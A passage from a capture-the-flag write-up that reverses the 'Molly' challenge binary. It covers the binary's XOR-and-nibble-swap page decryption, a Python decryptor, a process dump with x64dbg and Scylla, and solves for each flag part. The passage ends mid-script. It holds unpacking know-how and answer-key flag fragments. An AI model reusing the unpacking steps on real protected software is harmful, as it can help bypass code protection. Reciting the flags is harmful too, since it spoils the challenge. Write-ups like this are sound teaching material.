</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">int64_t</span> r8_16 = (((((((((((((((<span style="color:#fc5fa3">uint64_t</span>)page_base ^ <span style="color:#d0bf69">0xcbf29ce484222325</span>) * <span style="color:#d0bf69">0x100000001b3</span>) ^ (<span style="color:#fc5fa3">uint64_t</span>)(<span style="color:#fc5fa3">uint8_t</span>)(page_base &gt;&gt; <span style="color:#d0bf69">8</span>)) * <span style="color:#d0bf69">0x100000001b3</span>) ^ (<span style="color:#fc5fa3">uint64_t</span>)(<span style="color:#fc5fa3">uint8_t</span>)(page_base &gt;&gt; <span style="color:#d0bf69">0x10</span>)) * <span style="color:#d0bf69">0x100000001b3</span>) ^ (<span style="color:#fc5fa3">uint64_t</span>)(<span style="color:#fc5fa3">uint8_t</span>)(page_base &gt;&gt; <span style="color:#d0bf69">0x18</span>)) * <span style="color:#d0bf69">0x100000001b3</span>) ^ (<span style="color:#fc5fa3">uint64_t</span>)(<span style="color:#fc5fa3">uint8_t</span>)(page_base &gt;&gt; <span style="color:#d0bf69">0x20</span>)) * <span style="color:#d0bf69">0x100000001b3</span>) ^ (<span style="color:#fc5fa3">uint64_t</span>)(<span style="color:#fc5fa3">uint8_t</span>)(page_base &gt;&gt; <span style="color:#d0bf69">0x28</span>)) * <span style="color:#d0bf69">0x100000001b3</span>) ^ (<span style="color:#fc5fa3">uint64_t</span>)(<span style="color:#fc5fa3">uint8_t</span>)(page_base &gt;&gt; <span style="color:#d0bf69">0x30</span>)) * <span style="color:#d0bf69">0x100000001b3</span>) ^ page_base &gt;&gt; <span style="color:#d0bf69">0x38</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">int64_t</span>* rcx_9 = ((*(<span style="color:#fc5fa3">uint64_t</span>*)((<span style="color:#fc5fa3">char</span>*)arg1 + <span style="color:#d0bf69">0x30</span>) &amp; (r8_16 * <span style="color:#d0bf69">0x100000001b3</span>)) &lt;&lt; <span style="color:#d0bf69">4</span>) + *(<span style="color:#fc5fa3">uint64_t</span>*)((<span style="color:#fc5fa3">char</span>*)arg1 + <span style="color:#d0bf69">0x18</span>);
</span></span><span style="display:flex;"><span>        result = rcx_9[<span style="color:#d0bf69">1</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> (result == *(<span style="color:#fc5fa3">uint64_t</span>*)((<span style="color:#fc5fa3">char</span>*)arg1 + <span style="color:#d0bf69">8</span>))
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            label_180003dcb:
</span></span><span style="display:flex;"><span>            std::<span style="color:#41a1c0">_Xout_of_range</span>(<span style="color:#fc6a5d">&#34;invalid unordered_map&lt;K, T&gt; key&#34;</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#6c7986">/* no return */</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">while</span> (page_base != *(<span style="color:#fc5fa3">uint64_t</span>*)((<span style="color:#fc5fa3">char</span>*)result + <span style="color:#d0bf69">0x10</span>))
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">if</span> (result == *(<span style="color:#fc5fa3">uint64_t</span>*)rcx_9)
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">goto</span> label_180003dcb;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            result = *(<span style="color:#fc5fa3">uint64_t</span>*)((<span style="color:#fc5fa3">char</span>*)result + <span style="color:#d0bf69">8</span>);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> (*(<span style="color:#fc5fa3">uint8_t</span>*)((<span style="color:#fc5fa3">char</span>*)result + <span style="color:#d0bf69">0x18</span>))
</span></span><span style="display:flex;"><span>        {
</span></span><span style="display:flex;"><span>            flNewProtect = <span style="color:#d0bf69">0x1000</span>;
</span></span><span style="display:flex;"><span>            dwSize = page_base;
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">void</span>* var_38_1 = &amp;arg_8;
</span></span><span style="display:flex;"><span>            <span style="color:#41a1c0">VirtualProtect</span>(<span style="color:#41a1c0">GetCurrentProcess</span>(), &amp;dwSize, &amp;flNewProtect, <span style="color:#d0bf69">4</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">uintptr_t</span> page_base_2 = page_base;
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">int64_t</span> r10_1 = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">int64_t</span> i_1 = <span style="color:#d0bf69">0x1000</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">int64_t</span> i;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">do</span>
</span></span><span style="display:flex;"><span>            {
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">uint8_t</span> rax_15 = *(<span style="color:#fc5fa3">uint8_t</span>*)page_base_2;
</span></span><span style="display:flex;"><span>                page_base_2 += <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">int64_t</span> rcx_12 = r10_1;
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">uint8_t</span> rotated_nibble = rax_15 &gt;&gt; <span style="color:#d0bf69">4</span> | rax_15 &lt;&lt; <span style="color:#d0bf69">4</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">int64_t</span> rax_16;
</span></span><span style="display:flex;"><span>                <span style="color:#fc5fa3">int64_t</span> rdx_2;
</span></span><span style="display:flex;"><span>                rdx_2 = <span style="color:#41a1c0">HIGHQ</span>(-<span style="color:#d0bf69">0x7777777777777777</span> * r10_1);
</span></span><span style="display:flex;"><span>                rax_16 = <span style="color:#41a1c0">LOWQ</span>(-<span style="color:#d0bf69">0x7777777777777777</span> * r10_1);
</span></span><span style="display:flex;"><span>                *(<span style="color:#fc5fa3">uint8_t</span>*)(page_base_2 - <span style="color:#d0bf69">1</span>) = rotated_nibble;
</span></span><span style="display:flex;"><span>                r10_1 += <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>                *(<span style="color:#fc5fa3">uint8_t</span>*)(page_base_2 - <span style="color:#d0bf69">1</span>) = rotated_nibble ^ page_guard_key[rcx_12 - (rdx_2 &gt;&gt; <span style="color:#d0bf69">3</span>) * <span style="color:#d0bf69">0xf</span>];
</span></span><span style="display:flex;"><span>                i = i_1;
</span></span><span style="display:flex;"><span>                i_1 -= <span style="color:#d0bf69">1</span>;
</span></span><span style="display:flex;"><span>            } <span style="color:#fc5fa3">while</span> (i != <span style="color:#d0bf69">1</span>);
</span></span><span style="display:flex;"><span>            flNewProtect = <span style="color:#d0bf69">0x1000</span>;
</span></span><span style="display:flex;"><span>            dwSize = page_base;
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">void</span>* var_38_2 = &amp;arg_8;
</span></span><span style="display:flex;"><span>            <span style="color:#41a1c0">VirtualProtect</span>(<span style="color:#41a1c0">GetCurrentProcess</span>(), &amp;dwSize, &amp;flNewProtect, <span style="color:#d0bf69">0x20</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">return</span> <span style="color:#41a1c0">set_page_flag</span>(arg1, page_base, <span style="color:#d0a8ff">false</span>);
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> result;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>MollyDll decryption routine is quite simple, it first xor using a known key and then rotate the byte nibbles.</p>
<p>We can write a simple python script that decrypt <code>molly.exe</code> .text section:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> sys
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">import</span> pefile
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>key = [<span style="color:#d0bf69">0x66</span>,<span style="color:#d0bf69">0x6f</span>,<span style="color:#d0bf69">0x72</span>,<span style="color:#d0bf69">0x67</span>,<span style="color:#d0bf69">0x69</span>,<span style="color:#d0bf69">0x76</span>,<span style="color:#d0bf69">0x65</span>,<span style="color:#d0bf69">0x6d</span>,<span style="color:#d0bf69">0x65</span>,<span style="color:#d0bf69">0x66</span>,<span style="color:#d0bf69">0x61</span>,<span style="color:#d0bf69">0x74</span>,<span style="color:#d0bf69">0x68</span>,<span style="color:#d0bf69">0x65</span>,<span style="color:#d0bf69">0x72</span>]
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">invert_nibbles</span>(b):
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> (b &amp; <span style="color:#d0bf69">0xf0</span>) &gt;&gt; <span style="color:#d0bf69">4</span> | (b &amp; <span style="color:#d0bf69">0x0f</span>) &lt;&lt; <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">main</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(sys.argv) != <span style="color:#d0bf69">2</span>:
</span></span><span style="display:flex;"><span>        sys.exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    pe_path = sys.argv[<span style="color:#d0bf69">1</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>        pe = pefile.PE(pe_path)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">except</span> Exception <span style="color:#fc5fa3">as</span> e:
</span></span><span style="display:flex;"><span>        sys.exit(<span style="color:#d0bf69">1</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    text_section = <span style="color:#fc5fa3">None</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> section in pe.sections:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#39;.text&#39;</span> in section.Name:
</span></span><span style="display:flex;"><span>            text_section = section
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">break</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> text_section is <span style="color:#fc5fa3">None</span>:
</span></span><span style="display:flex;"><span>        sys.exit(<span style="color:#d0bf69">2</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    data = <span style="color:#d0a8ff">bytearray</span>(text_section.get_data())
</span></span><span style="display:flex;"><span>    pages = text_section.SizeOfRawData // <span style="color:#d0bf69">0x1000</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(pages):
</span></span><span style="display:flex;"><span>        offset = i * <span style="color:#d0bf69">0x1000</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">for</span> j in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">0x1000</span>):
</span></span><span style="display:flex;"><span>            data[offset + j] = invert_nibbles(data[offset + j])
</span></span><span style="display:flex;"><span>            data[offset + j] ^= key[j % <span style="color:#d0a8ff">len</span>(key)]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    pe.set_bytes_at_offset(text_section.PointerToRawData, <span style="color:#d0a8ff">bytes</span>(data))
</span></span><span style="display:flex;"><span>    pe.write(<span style="color:#fc6a5d">&#39;molly_dec.exe&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">if</span> <span style="color:#41a1c0">__name__</span> == <span style="color:#fc6a5d">&#34;__main__&#34;</span>:
</span></span><span style="display:flex;"><span>    main()
</span></span></code></pre></div><h2 id="binary-dynamic-decryption-bonus">Binary Dynamic Decryption (Bonus)</h2>
<p>One interesting feature of Molly is its ability to re-encrypt old unlocked pages once the maximum number of decrypted pages has been reached. However, due to the binary’s size and an incorrectly set limit of <code>0x10</code>, Molly allowed 15 pages to remain decrypted, and no re-encryption occurs after the binary exits.</p>
<p><img src="/trxctf25/molly/molly_encoldpages.png" alt="encoldpages"></p>
<p>How can we exploit this behavior?</p>
<p>First, configure x64dbg to establish breakpoints prior to Molly&rsquo;s start and before its termination, and disable the general exception breakpoint.
<img src="/trxctf25/molly/x64dbg_dump.png" alt="dbg_dumppreparation"></p>
<p>After running Molly, the console should close while the process remains active. Next, open Scylla to dump the process.
<img src="/trxctf25/molly/Scylla_dump.png" alt="scylla_dump"></p>
<p>Even if the binary is not fully decrypted, we can still analyze its core components to reconstruct the flag.</p>
<p><img src="/trxctf25/molly/molly_dump.png" alt="molly_dump"></p>
<h2 id="binary-analysis">Binary Analysis</h2>
<p>Upon examining the main function, it becomes clear that Molly compiles and executes a Lua script containing custom functions: <code>epic_gaming1</code>, <code>epic_gaming2</code>, and <code>epic_gaming3</code>; and subsequently defines a global variable <code>flag</code> with the input provided when running the binary.</p>
<p>Beautified molly script:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> <span style="color:#fc5fa3">function</span> <span style="color:#41a1c0">a</span>(b)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> c = {}
</span></span><span style="display:flex;"><span>    b = b:sub(<span style="color:#d0bf69">5</span>, -<span style="color:#d0bf69">2</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> d <span style="color:#fc5fa3">in</span> string.gmatch(b, <span style="color:#fc6a5d">&#34;[^_]+&#34;</span>) <span style="color:#fc5fa3">do</span>
</span></span><span style="display:flex;"><span>        table.insert(c, d)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> c
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> <span style="color:#fc5fa3">function</span> <span style="color:#41a1c0">e</span>(f)
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> #f ~= <span style="color:#d0bf69">4</span> <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> g = <span style="color:#d0bf69">100</span> + <span style="color:#d0bf69">89</span> - (<span style="color:#d0bf69">84</span> - <span style="color:#d0bf69">608</span> / ((<span style="color:#d0bf69">945</span> + <span style="color:#d0bf69">12</span> + <span style="color:#d0bf69">92</span> + <span style="color:#d0bf69">65</span> - <span style="color:#d0bf69">31</span>) / <span style="color:#d0bf69">57</span>) - <span style="color:#d0bf69">23</span>) - <span style="color:#d0bf69">60</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> h = <span style="color:#d0bf69">2370000</span> / (<span style="color:#d0bf69">12</span> + <span style="color:#d0bf69">93</span> - <span style="color:#d0bf69">95</span> / (<span style="color:#d0bf69">646</span> / (<span style="color:#d0bf69">85</span> - <span style="color:#d0bf69">3468</span> / <span style="color:#d0bf69">68</span>))) / <span style="color:#d0bf69">100</span> - <span style="color:#d0bf69">52</span> - <span style="color:#d0bf69">63</span> - <span style="color:#d0bf69">71</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> i = <span style="color:#d0bf69">149</span> - (-<span style="color:#d0bf69">15</span> + <span style="color:#d0bf69">8800</span> / (<span style="color:#d0bf69">6248</span> / (<span style="color:#d0bf69">125</span> - (<span style="color:#d0bf69">104</span> - (<span style="color:#d0bf69">17502</span> / (<span style="color:#d0bf69">72</span> / <span style="color:#d0bf69">12</span>) + <span style="color:#d0bf69">93</span>) / <span style="color:#d0bf69">35</span> + <span style="color:#d0bf69">36</span>))))
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">local</span> j = (<span style="color:#d0bf69">52808</span> / (<span style="color:#d0bf69">31</span> - <span style="color:#d0bf69">1800</span> / (<span style="color:#d0bf69">51</span> - (<span style="color:#d0bf69">95</span> - <span style="color:#d0bf69">448448</span> / (<span style="color:#d0bf69">147</span> - <span style="color:#d0bf69">83</span>) / <span style="color:#d0bf69">91</span>) + <span style="color:#d0bf69">42</span>)) - <span style="color:#d0bf69">20</span>) / <span style="color:#d0bf69">66</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> string.char(g, h, i, j) ~= f <span style="color:#fc5fa3">then</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">end</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> k = a(flag) <span style="color:#6c7986">-- split content inside {} by _</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> l = epic_gaming2(k[<span style="color:#d0bf69">1</span>]) <span style="color:#6c7986">-- run first part check (c side)</span>
</span></span><span style="display:flex;"><span>l = l + e(k[<span style="color:#d0bf69">2</span>]) <span style="color:#6c7986">-- run second part check (lua side)</span>
</span></span><span style="display:flex;"><span>l = l + epic_gaming3(k[<span style="color:#d0bf69">3</span>]) <span style="color:#6c7986">-- run third part check (c side)</span>
</span></span><span style="display:flex;"><span>l = l + epic_gaming1(k[<span style="color:#d0bf69">4</span>]) <span style="color:#6c7986">-- run fourth part check (c side)</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">return</span> l
</span></span></code></pre></div><h3 id="epic_gaming2">epic_gaming2</h3>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#6c7986"># epic_gaming2 solve</span>
</span></span><span style="display:flex;"><span>xored = <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;</span><span style="color:#fc6a5d">\xe8\x9d\x8e\x8b\xbc\xd4\x8d</span><span style="color:#fc6a5d">&#34;</span>
</span></span><span style="display:flex;"><span>key = [ <span style="color:#d0bf69">0xDE</span>, <span style="color:#d0bf69">0xAD</span>, <span style="color:#d0bf69">0xBE</span>, <span style="color:#d0bf69">0xEF</span> ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>part1 = [ xored[i] ^ key[i % <span style="color:#d0a8ff">len</span>(key)] <span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0a8ff">len</span>(xored)) ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(<span style="color:#fc6a5d">&#39;&#39;</span>.join([<span style="color:#d0a8ff">chr</span>(c) <span style="color:#fc5fa3">for</span> c in part1])) <span style="color:#6c7986"># 600dby3</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#fc5fa3">__int64</span> <span style="color:#fc5fa3">__fastcall</span> <span style="color:#41a1c0">epic_gaming2</span>(<span style="color:#fc5fa3">__int64</span> a1)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#6c7986">// ...
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">if</span> ( v3 == <span style="color:#d0bf69">7</span> )
</span></span><span style="display:flex;"><span>  {
</span></span><span style="display:flex;"><span>    *(_DWORD *)v10 = <span style="color:#d0bf69">0xEFBEADDE</span>;
</span></span><span style="display:flex;"><span>    *(_QWORD *)v11 = <span style="color:#d0bf69">0x8DD4BC8B8E9DE8LL</span>;
</span></span><span style="display:flex;"><span>    v4 = v11;
</span></span><span style="display:flex;"><span>    v5 = <span style="color:#d0bf69">0</span>;
</span></span><span style="display:flex;"><span>    v6 = v2 - (_QWORD)v11;
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">while</span> ( <span style="color:#d0bf69">1</span> )
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      v7 = v4[v6];
</span></span><span style="display:flex;"><span>      *v4 ^= v10[v5 &amp; <span style="color:#d0bf69">3</span>];
</span></span><span style="display:flex;"><span><span style="color:#6c7986">// ...
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>  <span style="color:#fc5fa3">return</span> <span style="color:#d0bf69">1LL</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><blockquote>
<p>600dby3</p></blockquote>
<h3 id="epic_gaming_lua">epic_gaming_lua</h3>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> g = <span style="color:#d0bf69">100</span> + <span style="color:#d0bf69">89</span> - (<span style="color:#d0bf69">84</span> - <span style="color:#d0bf69">608</span> / ((<span style="color:#d0bf69">945</span> + <span style="color:#d0bf69">12</span> + <span style="color:#d0bf69">92</span> + <span style="color:#d0bf69">65</span> - <span style="color:#d0bf69">31</span>) / <span style="color:#d0bf69">57</span>) - <span style="color:#d0bf69">23</span>) - <span style="color:#d0bf69">60</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> h = <span style="color:#d0bf69">2370000</span> / (<span style="color:#d0bf69">12</span> + <span style="color:#d0bf69">93</span> - <span style="color:#d0bf69">95</span> / (<span style="color:#d0bf69">646</span> / (<span style="color:#d0bf69">85</span> - <span style="color:#d0bf69">3468</span> / <span style="color:#d0bf69">68</span>))) / <span style="color:#d0bf69">100</span> - <span style="color:#d0bf69">52</span> - <span style="color:#d0bf69">63</span> - <span style="color:#d0bf69">71</span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> i = <span style="color:#d0bf69">149</span> - (-<span style="color:#d0bf69">15</span> + <span style="color:#d0bf69">8800</span> / (<span style="color:#d0bf69">6248</span> / (<span style="color:#d0bf69">125</span> - (<span style="color:#d0bf69">104</span> - (<span style="color:#d0bf69">17502</span> / (<span style="color:#d0bf69">72</span> / <span style="color:#d0bf69">12</span>) + <span style="color:#d0bf69">93</span>) / <span style="color:#d0bf69">35</span> + <span style="color:#d0bf69">36</span>))))
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">local</span> j = (<span style="color:#d0bf69">52808</span> / (<span style="color:#d0bf69">31</span> - <span style="color:#d0bf69">1800</span> / (<span style="color:#d0bf69">51</span> - (<span style="color:#d0bf69">95</span> - <span style="color:#d0bf69">448448</span> / (<span style="color:#d0bf69">147</span> - <span style="color:#d0bf69">83</span>) / <span style="color:#d0bf69">91</span>) + <span style="color:#d0bf69">42</span>)) - <span style="color:#d0bf69">20</span>) / <span style="color:#d0bf69">66</span>
</span></span><span style="display:flex;"><span>print(string.char(g, h, i, j))
</span></span></code></pre></div><blockquote>
<p><code>d3@r</code></p></blockquote>
<h3 id="epic_gaming3">epic_gaming3</h3>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>&amp;&amp; ((<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int16</span>)v2[<span style="color:#d0bf69">1</span>] | (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int16</span>)(*v2 &lt;&lt; <span style="color:#d0bf69">8</span>)) == <span style="color:#41a1c0">COERCE_INT</span>(<span style="color:#960050">&#39;</span><span style="color:#d0bf69">0</span>p<span style="color:#960050">&#39;</span>)
</span></span><span style="display:flex;"><span>    &amp;&amp; ((<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int16</span>)v2[<span style="color:#d0bf69">3</span>] | (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int16</span>)(v2[<span style="color:#d0bf69">2</span>] &lt;&lt; <span style="color:#d0bf69">8</span>)) == <span style="color:#41a1c0">COERCE_INT</span>(<span style="color:#960050">&#39;</span><span style="color:#d0bf69">3</span>n<span style="color:#960050">&#39;</span>)
</span></span><span style="display:flex;"><span>    &amp;&amp; ((<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int16</span>)v2[<span style="color:#d0bf69">5</span>] | (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int16</span>)(v2[<span style="color:#d0bf69">4</span>] &lt;&lt; <span style="color:#d0bf69">8</span>)) == <span style="color:#41a1c0">COERCE_INT</span>(<span style="color:#960050">&#39;</span><span style="color:#d0bf69">50</span><span style="color:#960050">&#39;</span>)
</span></span><span style="display:flex;"><span>    &amp;&amp; ((<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int16</span>)v2[<span style="color:#d0bf69">7</span>] | (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int16</span>)(v2[<span style="color:#d0bf69">6</span>] &lt;&lt; <span style="color:#d0bf69">8</span>)) == <span style="color:#41a1c0">COERCE_INT</span>(<span style="color:#960050">&#39;</span>ur<span style="color:#960050">&#39;</span>)
</span></span><span style="display:flex;"><span>    &amp;&amp; ((<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int16</span>)v2[<span style="color:#d0bf69">9</span>] | (<span style="color:#fc5fa3">unsigned</span> <span style="color:#fc5fa3">__int16</span>)(v2[<span style="color:#d0bf69">8</span>] &lt;&lt; <span style="color:#d0bf69">8</span>)) == <span style="color:#41a1c0">COERCE_INT</span>(<span style="color:#960050">&#39;</span>c3<span style="color:#960050">&#39;</span>) )
</span></span></code></pre></div><blockquote>
<p><code>0p3n50urc3</code></p></blockquote>
<h3 id="epic_gaming1">epic_gaming1</h3>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>text = <span style="color:#fc6a5d">&#34;0n0_d@y_w3_w1ll_m33t&#34;</span>
</span></span><span style="display:flex;"><span>text += <span style="color:#fc6a5d">&#34; &#34;</span> * (<span style="color:#d0bf69">44</span> - <span style="color:#d0a8ff">len</span>(text))
</span></span><span style="display:flex;"><span>part2_c = [<span style="color:#d0bf69">0</span>, <span style="color:#d0bf69">182</span>, <span style="color:#d0bf69">260</span>, <span style="color:#d0bf69">429</span>, <span style="color:#d0bf69">796</span>, <span style="color:#d0bf69">680</span>, <span style="color:#d0bf69">1188</span>, <span style="color:#d0bf69">1043</span>, <span style="color:#d0bf69">1560</span>, <span style="color:#d0bf69">1548</span>, <span style="color:#d0bf69">1520</span>, <span style="color:#d0bf69">2618</span>, <span style="color:#d0bf69">1656</span>, <span style="color:#d0bf69">2548</span>, <span style="color:#d0bf69">2604</span>, <span style="color:#d0bf69">2145</span>, <span style="color:#d0bf69">3184</span>, <span style="color:#d0bf69">2346</span>, <span style="color:#d0bf69">2250</span>, <span style="color:#d0bf69">4332</span>, <span style="color:#d0bf69">2600</span>, <span style="color:#d0bf69">2877</span>, <span style="color:#d0bf69">1870</span>, <span style="color:#d0bf69">3174</span>, <span style="color:#d0bf69">3120</span>, <span style="color:#d0bf69">2050</span>, <span style="color:#d0bf69">2080</span>, <span style="color:#d0bf69">4050</span>, <span style="color:#d0bf69">3668</span>, <span style="color:#d0bf69">4089</span>, <span style="color:#d0bf69">3060</span>, <span style="color:#d0bf69">2573</span>, <span style="color:#d0bf69">3456</span>, <span style="color:#d0bf69">2673</span>, <span style="color:#d0bf69">3876</span>, <span style="color:#d0bf69">4270</span>, <span style="color:#d0bf69">4716</span>, <span style="color:#d0bf69">2960</span>, <span style="color:#d0bf69">4180</span>, <span style="color:#d0bf69">4212</span>, <span style="color:#d0bf69">4400</span>, <span style="color:#d0bf69">4141</span>, <span style="color:#d0bf69">6216</span>, <span style="color:#d0bf69">3612</span>]
</span></span><span style="display:flex;"><span><span style="color:#d0a8ff">print</span>(part2_c[:<span style="color:#d0bf69">44</span>])
</span></span><span style="display:flex;"><span>part2 = <span style="color:#fc6a5d">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">from</span> string <span style="color:#fc5fa3">import</span> printable
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">for</span> i in <span style="color:#d0a8ff">range</span>(<span style="color:#d0bf69">1</span>, <span style="color:#d0bf69">44</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#d0a8ff">sum</span> = part2_c[i] / i
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">for</span> c in printable:
